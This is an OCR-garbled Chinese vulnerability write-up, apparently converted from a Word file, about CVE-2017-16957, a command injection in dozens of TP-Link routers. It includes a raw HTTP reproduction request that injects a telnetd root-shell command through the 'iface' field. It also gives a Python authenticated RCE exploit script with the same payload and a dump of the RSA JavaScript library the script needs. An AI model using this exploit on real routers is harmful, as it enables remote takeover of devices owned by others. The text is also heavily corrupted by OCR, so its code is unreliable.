(CVE-2017-16957)TP-Link 命令注入漏洞.docx
(CVE-2017-16957) TPLink 命令注入漏洞一、漏洞简介TP-LinkTL-WVR等都是中国普联(TP-LINK)公司的无线路由器产品。多款TP-Link产品中存在命令注入漏洞。远程攻击者可通过向cgi-bin/luci发送 face字段中带有shell元字符的admin/diagnostic命令利用该漏洞执行任意命令。二、漏洞影响TP-LINK TL-WVR TP-LINK TL-WVR300 v4 TP-LINK TL-WVR302 v2 TP-LINK TL- WVR450 TP-LINK TL-WVR450L TP-LINK TL-WVR450G v5 TP-LINK TL-WVR458 TP-LINK TL-WVR458L TP-LINK TL-WVR458P TP-LINK TL-WVR900G v3 TP-LINK TL-WVR1200L TP-LINK TL-WVR900L TP-LINK TL-WVR1300L TP-LINK TL- WVR1300G TP-LINK TL-WVR1750L TP-LINK TL-WVR2600L TP-LINK TL- WVR4300L TP-LINK TL-WAR450 TP-LINK TL-WAR302 TP-LINK TL-WAR2600L TP- LINK TL-WAR1750L TP-LINK TL-WAR1300L TP-LINK TL-WAR1200L TP-LINK TL- WAR900L TP-LINK TL-WAR458 TP-LINK TL-WAR450L TP-LINK TL-ER5510G v2 TP-LINK TL-ER5510G v3 TP-LINK TL-ER5520G v2 TP-LINK TL-ER5520G v3 TP- LINK TL-ER6120G v2 TP-LlNK TL-ER6520G v2 TP-LINK TL-ER6520G v3 TP-LINK TL-ER3210G TP-LINK TL-ER7520G TP-LINK TL-ER6520G TP-LINK TL-ER6510G TP- LINKTL-ER6220G TP-LINK TL-ER6120G TP-LINK TL-ER6110G TP-LINK TL- ER5120G TP-LINK TL-ER5110G TP-LINK TL-ER3220G TP-LINK TL-R479P-AC TP- LINK TL-R478G+ TP-LINK TL-R478G TP-LINK TL-R478+ TP-LINK TL-R478 TP-LINK TL-R473GP-AC TP-LINK TL-R473P-AC TP-LINK TL-R473G TP-LINK TL-R473 TP- LINKTL-R4299G TP-LINK TL-R4239G TP-LINK TL-R4149G TP-LINK TL-R488 TP- LINK TL-R483 TP-LINK TL-R483G TP-LINK TL-R479GP-AC TP-LlNK TL-R479GPE- AC三、复现过程POST cgi-bin/luciJstok=ea2178b4514da7ae227f4ecl92536930admindiagnos tic?form=diag HTTP1.1Host: 0-sec.orgContent-Length: 370Accept: applicationjsonj text/javascript, */*; q=0.01 Origin: http:/192.168.3.1 X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; ×64) AppleWebKit/537.3 6 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http:/192.168.3.1/webpages/index.html Accept-Encoding: gzip, deflateCookie: Sysauth=be9b6f2b4b9a76a8a658el08c6197f2c Connection: closedata=%7B%22method%22%3A%22start%22%2C%22params%22%3A%7B%22type%22%3A%22 0%22%2C%22type_hidden%22%3A%220%22%2C%22ipaddr_ping%22%3A%2 2%2C%22iface-ping%22%3A%22WANl%22%2C%22ipaddr%22%3A%22%2C%2 2iface%22%3A%22%3Btelnetd+-p+24+-l+binsh%22%2C%22count%22%3A%221%22%2 C%22pktsize%22%3A%2264%22%2C%22my-result%22%3A%22The+Router+is+ready.%5 Cr%5Cn%22%7D%7D漏洞脚本# Tested product: TL-WVR450L# Hardware version: VI.0# Firmware version: 20161125# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the pas sword when login the web manager.# You can download the RSA_Encryption_For_Tplink.js by https:/github.c omcoincoin7Wireless-Router-Vulnerability/blob/master/RSA_Encryption_F OjTplink jsimport execjsimport requestsimport jsonimport urllib def read_js():file = open(',. /RSA_Encryption_For_Tplink. js, , r,) line = file.readline()js ="while line:js = js + lineline = file.readline()file.close()return js def e×ecute(ipj port, username, passwdj cmd):try:s = requests. session()uri = "http:/:".format (ip, port)headers = 'Content-Type,:,application/x-www-form-urlencoded; charset= UTF-8,'Referer1: 'httprwebpageslogin.html'.format(ip)payload = "method" :"get',ret = s.post(uri + ,cgi-binluci;Stok=ZloginPform=Iogin,j dat a=urllib.urlencode("data":json.dumps(payload), headers=headers, time out=5)rsa_public_n = json.loads(ret.text)'result''password'0.en codeCutf-S")rsa_public_e = json.loads(ret.text),result',password,1.en code("utf-8)js = read_js()js_handle = pile(js)password = js_handle.call('MainEncrypt, rsa_public_n, rsa_publ ic_e, passwd)payload "method":"login","params":"username":," .format (username)j''password":"" .format(password)ret = s.post(uri + ,cgi-binluci;Stok=ZloginPform=Iogin, dat a=rllib.urlencode("data":json.dumps(payload), headers=headersj time out=5)stok = json.loads(ret.text)'result',stok,. encode('utf-8,)cookie = ret.headers'Set-Cookie1print ,+ Login success, print ,+ Get The Token: ' + stok print ,+ Get The Cookie: , + cookieheaders = 'Content-Type,:'application/x-www-form-urlencoded; charset= UTF-8',Referer':,httpzwebpageslogin.html,. format (ip)j 'Cookie':,.format(cookie) payload = "method":"start","params":"type"z"0,"type-hidden"z,0"ipaddr_ping":"127.0.0.1","iface-ping,r,WANl",ipaddr"i',127.0.0.1", ,iface" format (cmd), “count": T,“pktsize”:“64”, ,my-result"i',exploit")ret = s.post(uri + ,cgi-binluci;stok=/admin/diagnostic?for m=diag'.format(stok), data=urllib.urlencode("data":json.dumps(payloa d), headers=headers, timeout=5)#print ret.textprint '+ Finish RCEprint ,return Trueexcept:return False if _name_='_main_':print ,Tplink LUCI diagnostic Authenticated RCEIprint execute(,192.168.1.1,j 80j ,admin,i 'admin,i 'telnetd -p 24 - 1 binsh,)RSA_Encryption_For_Tplink.js 文件/ Copyright (c) 2005 Tom WU/ All Rights Reserved./ See "LICENSEn for details./ Basic JavaScript BN library - subset useful for RSA encryption./ Bits per digit/ JavaScript engine analysis var BI_RC = new Array();var BI_RM = ,0123456789abcdefghijRlmnopqrstuvwxyz"var dbits;var canary = Oxdeadbeefcafe;var j_lm = (canary&Oxffffff)=0×efcafe);var rng_psize = 256;var rng_state;var rng_pool;var rng_pptr;/ Initialize the pool with junk if needed.BigInteger. prototype. am = am2;dbits = 30;BigInteger. prototype. DB = dbits;BigInteger. prototype. DM = (l<<dbits)-l);BigInteger. prototype.DV = (l<<dbits);var BI_FP = 52;BigInteger.prototype.FV = Math.pow(2,BI_FP);BigInteger.prototype.Fl = BI_FP-dbits;BigInteger. prototype.F2 = 2*dbits-BI_FP;/ protectedBigInteger.prototype.copyTo = bnpCopyTo;BigInteger. prototype.fromlnt = bnpFromlnt;BigInteger. prototype.fromString = bnpFromString;BigInteger. prototype. clamp = bnpClamp;BigInteger. prototype.dlShiftTo = bnpDLShiftTo;BigInteger. prototype.drShiftTo = bnpDRShiftTo;BigInteger. prototype.IShiftTo = bnpLShiftTo;BigInteger. prototype.rShiftTo = bnpRShiftTo;BigInteger. prototype.subTo = bnpSbTo;BigInteger. prototype.multiplyTo = bnpMultiplyTo;BigInteger.prototype.SquareTo = bnpSquareTo;BigInteger. prototype.divRemTo = bnpDivRemTo;BigInteger. prototype.invDigit = bnpInvDigit;BigInteger.prototype.isEven = bnpIsEven;BigInteger. prototype. exp = bnpE×p;/ publicBigInteger. prototype.toString = bToString;BigInteger. prototype. negate = bNegate;BigInteger. prototype.abs = bAbs;BigInteger. prototype.CompareTo = bnCompareTo;BigInteger. prototype. bitLength = bnBitLength;BigInteger. prototype. mod = bnMod;BigInteger. prototype.modPowInt = bnModPowInt;/ "constants"BigInteger.ZERO = nbv(0);BigInteger.ONE = nbv(l);/ Digit conversionsvar rr,vv;rr = "0".CharCodeAt(O);for(vv = 0; vv <= 9; +vv) BI_RCrr+ = vv;rr = "a".CharCodeAt(0);for(vv = 10; vv < 36; ÷+vv) BI_RCrr+ = vv;rr = "A".CharCodeAt(O);for(vv = 10; vv < 36; +vv) BI_RCrr+ = vv;Classic. prototype. convert = cConvert;Classic. prototype. revert = cRevert;Classic. prototype. reduce = cReduce;Classic.prototype.mulTo = cMulTo;Classic. prototype.sqrTo = cSqrTo;Arcfour. prototype.init = ARC4init;Arcfour. prototype. next = ARC4next;SecureRandom. prototype.nextBytes = rng_get_bytes;Montgomery. prototype. convert = montConvert;Montgomery. prototype. revert = montRevert;Montgomery. prototype. reduce = montReduce;Montgomery. prototype.mulTo = montMulTo;Montgomery. prototype.sqrTo = montSqrTo;Arcfour. prototype.init = ARC4init;Arcfour. prototype. next = ARC4next;/ (public) Constructorfunction Big工nteger(a>b,c) if(a != null)if (''number'* = typeof a) this.fromNumber(a,bc);else if(b = null && "string" != typeof a) this.fromString(a,256); else this.fromString(a,b);/ return new, unset BigIntegerfunction nbi() return new BigInteger(null); / am: Compute w_J += (x*this_i), propagate carries,/ c is initial carry, returns final carry./ c < 3*dvaluej x < 2*dvalue, this_i < dvalue/ We need to select the fastest one that works in this environment./ ami: use a single mult and divide to get the high bits, / max digit bits should be 26 because/ max internal value = 2*dvalue2-2*dvalue (< 253)function aml(i,x,w,j,c,n) while(-n >= 0) var v = x*thisi+wj+c;c = Math.floor(v0×4000000);wj+ = v&0x3ffffff;return c;)/ am2 avoids a big mult-and-extract completely./ Max digit bits should be <= 30 because we do bitwise ops/ on values up to 2*hdvalue2-hdvalue-l (< 231)function am2(i,x,w,j,c,n) var xl = x&0x7fff, xh = x>>15;while(-n >= 0) var 1 = thisi&0x7fff;var h = thisi+>>15;var m = xh*l+h*xl;1 = x1*1+(m&0x7fff)<<15)+wj+(c&0x3fffffff); c = (l>>>30)+(m>>>15)+xh*h+(c>>>30);wj+ =return c;/ Alternately set max digit bits to 28 since some/ browsers slow down when dealing with 32-bit numbers.function am3(i,x,w,j,c,n) van xl = ×80x3fff> xh = x>>14;while(-n >= 0) var 1 = thisi&0x3fff;var h = thisi+>>14;var m = xh*l+h*xl;1 = ×l*l+(m&0x3fff)<<14)+wj+c;C = (l>>28)+(m>>14)+×h*h;wj+ = l&Oxfffffff;return c;)function int2char(n) return BI_RM.charAt(n); function intAt(sji) var c = BI_RCs.CharCodeAt(i);return (c=null)?-l:c;) / (protected) copy this to rfunction bnpCopyTo(r) for(var i = this.t-1; i >= 0; -i) ri = thisi;r.t = this.t;r.s = this.s;/ (protected) set from integer value x, -DV <= x < DV function bnpFromInt(x) this.t = 1;this.s = (x<0)?-l:0;if(x > 0) this0 = x;else if(× < -1) this0 = x+this.DV;else this.t = 0; / return bigint initialized to valuefunction nbv(i) var r = nbi(); r.fromlnt(i); return r; / (protected) set from string and radix function bnpFromString(sjb) var k;if(b = 16) k = 4;else if(b = 8) k = 3;else if(b = 256) k = 8; / byte arrayelse if(b = 2) k = 1;else if(b = 32) k = 5;else if(b = 4) k = 2;else this.fromRadix(sjb); return; this.t = 0;this.s = 0;van i = s.length, mi = false, sh = 0;while(-i >= 0) var x = (k=8)?si&0xff:intAt(s,i);if(x < 0) if(s.charAt(i) =) mi = true;continue;mi = false;if(sh = 0)thisthis.t+ = ×else if(sh+k > this.DB) thisthis.t-l = (x(l<<(this.DB-sh)-l)<<sh;thisthis.t+ = (x>>(this.DB-sh);elsethisthis.t-l I = x<<sh;sh += k;if(sh >= this.DB) sh -= this.DB;if(k = 8 && (s0&0x80) != 0) this.s = -1;if(sh > 0) thisthis.t-l = (l<<(this.DB-sh)-l)<<sh; )this.clamp();if(mi) BigInteger.ZERO.subTo(thisjthis);/ (protected) clamp off excess high wordsfunction bnpClamp() var c = this.s&this.DM;while(this.t > 0 && thisthis.t-l = c) -this.t; ) / (public) return string representation in given radix function bnToString(b) if(this.s < 0) return "-"+this.negate().toString(b);var k;if(b = 16) k = 4;else if(b = 8) k = 3;else if(b = 2) k = 1;else if(b = 32) k = 5;else if(b = 4) k = 2;else return this.toRadix(b);var km = (l<<k)-l, d, m = false, r = ", i = this.t;var p = this.DB-(i*this.DB)%k;if(i- > 0) if(p < this.DB && (d = thisi>>p) > 0) m = true; r = int2char(d); )while(i >= 0) if(p < k) d = (thisi&(l«p)-l)«(k-p);d I = this-i>>(p+=this.DB-k);)else d = (thisi>>(p-=k)&km;if(p <= 0) p += this.DB; -i; if(d > 0) m = true;if(m) r += int2char(d);)return m?r:"0") / (public) -thisfunction bnNegate() var r = nbi(); BigInteger.ZERO.subTo(this,r); ret urn r; / (public) I thisfunction bnAbs() return (this.s<0)?this.negate():this; / (public) return + if this > a, - if this < a, 0 if equalfunction bnCompareTo(a) var r = this.s-a.s;if(r != 0) return r;var i = this.t;r = i-a.t;if(r != 0) return (this.s<0)?-r:r;while(-i >= 0) if(r=thisi-ai) != 0) return r;return 0;/ returns bit length of the integer x function nbits(x) var r = 1, t;if(t=x>>>16) 1= 0) x = t;r += 16;if(t=x>>8) != if(t=x>>4) != if(t=x>>2) != if(t=×>>l) !=0) x = t; r0) x = t; r0) x = t; r0) × = t; r+= += +=+=8; 4; 2; 1; return r;)/ (public) return the number of bits in "this"function bnBitLength() if(this.t <= 0) return 0;return this.DB*(this.t-l)+nbits(thisthis.t-l(this.s&this.DM); )/ (protected) r = this << n*DBfunction bnpDLShiftTo(n,r) var i;for(i = this.t-l; i >= 0; -i) ri+n = thisi;for(i = n-1; i >= 0; -i) ri = 0;r.t = this.t+n;r.s = this.s;)/ (protected) r = this >> n*DBfunction bnpDRShiftTo(njr) for(var i = n; i < this.t; +i) ri-n = thisi;r.t = Math.max(this.t-nj0);r.s = this.s;/ (protected) r = this << nfunction bnpLShiftTo(n,r) var bs = n%this.DB;var cbs = this.DB-bs;var bm = (l<<cbs)-1;var ds = Math.floor(n/this.DB)j C = (this.s<<bs)this.DMj i;for(i = this.t-l; i >= 0; -i) ri+ds+l = (thisi>>cbs)c;c = (thisi&bm)«bs;for(i = ds-1; i >= 0; -i) ri = 0;rds = c;r.t = this.t+ds÷l;r.s = this.s;r.clamp();)/ (protected) r = this >> nfunction bnpRShiftTo(n,r) r.s = this.s;var ds = Math.floor(n/this.DB);if(ds >= this.t) r.t = 0; return; var bs = n%this.DB;var cbs = this.DB-bs;van bm = (l<<bs)-l;r0 = thisds>>bs;for(var i = ds+1; i < this.t; +i) ri-ds-l = (thisibm)<<cbs;ri-ds = thisi>>bs;if(bs > 0) rthis.t-ds-l = (this.s&bm)«cbs;r.t = this.t-ds;r.clamp(); / (protected) r = this - afunction bnpSubTo(a,r) van i = 0, c = 0, m = Math.min(a.t,this.t);while(i < m) c += thisi-ai;ri+ = c&this.DM;C >>= this.DB;)if(a.t < this.t) c -= a.s;while(i < this.t) c += thisi;ri+ = c&this.DM;c >>= this.DB;c += this.s;else c += this.s;while(i < a.t) C -= ai;ri+ = c&this.DM;c >>= this.DB;c -= a.s;)r.s = (c<0)?-l:0;if(c < -1) ri+÷ = this.DV+c;else if(c > 0) ri+ = c;r.t = i;r.clamp();/ (protected) r = this * a, r != this,a (HAC 14.12) / "this" should be the larger one if appropriate.function bnpMultiplyTo(a,r) van x = this.abs(), y = a.abs();van i = ×.t;r.t = i+y.t;while(-i >= 0) ri = 0;for(i = 0; i < y.t; +i) ri+x.t = x.am(0,yi,r,i,0,x.t);r.s = 0;r.clamp();if(this.s != a.s) BigInteger.ZERO.sbTo(rjr);/ (protected) r = this2, r != this (HAC 14.16)function bnpSquareTo(r) van x = this.abs();var i = r.t = 2*x.t;while(-i >= 0) ri = 0;for(i = 0; i < x.t-1; +i) var c = x.am(ijxijr,2*ij0,l);if(ri+×.t+=x.am(i+lj2*xijr,2*i+ljcjx.t-i-l) >= x.DV) ri+×.t -= x.DV;ri+x.t+l = 1;)if(r.t > 0) rr.t-l += x.am(i,xi,r,2*i,0j1);r.s = 0;r.clamp();/ (protected) divide this by m, quotient and remainder to q, r (HAC 14. 20)/ r != q, this != m. q or r may be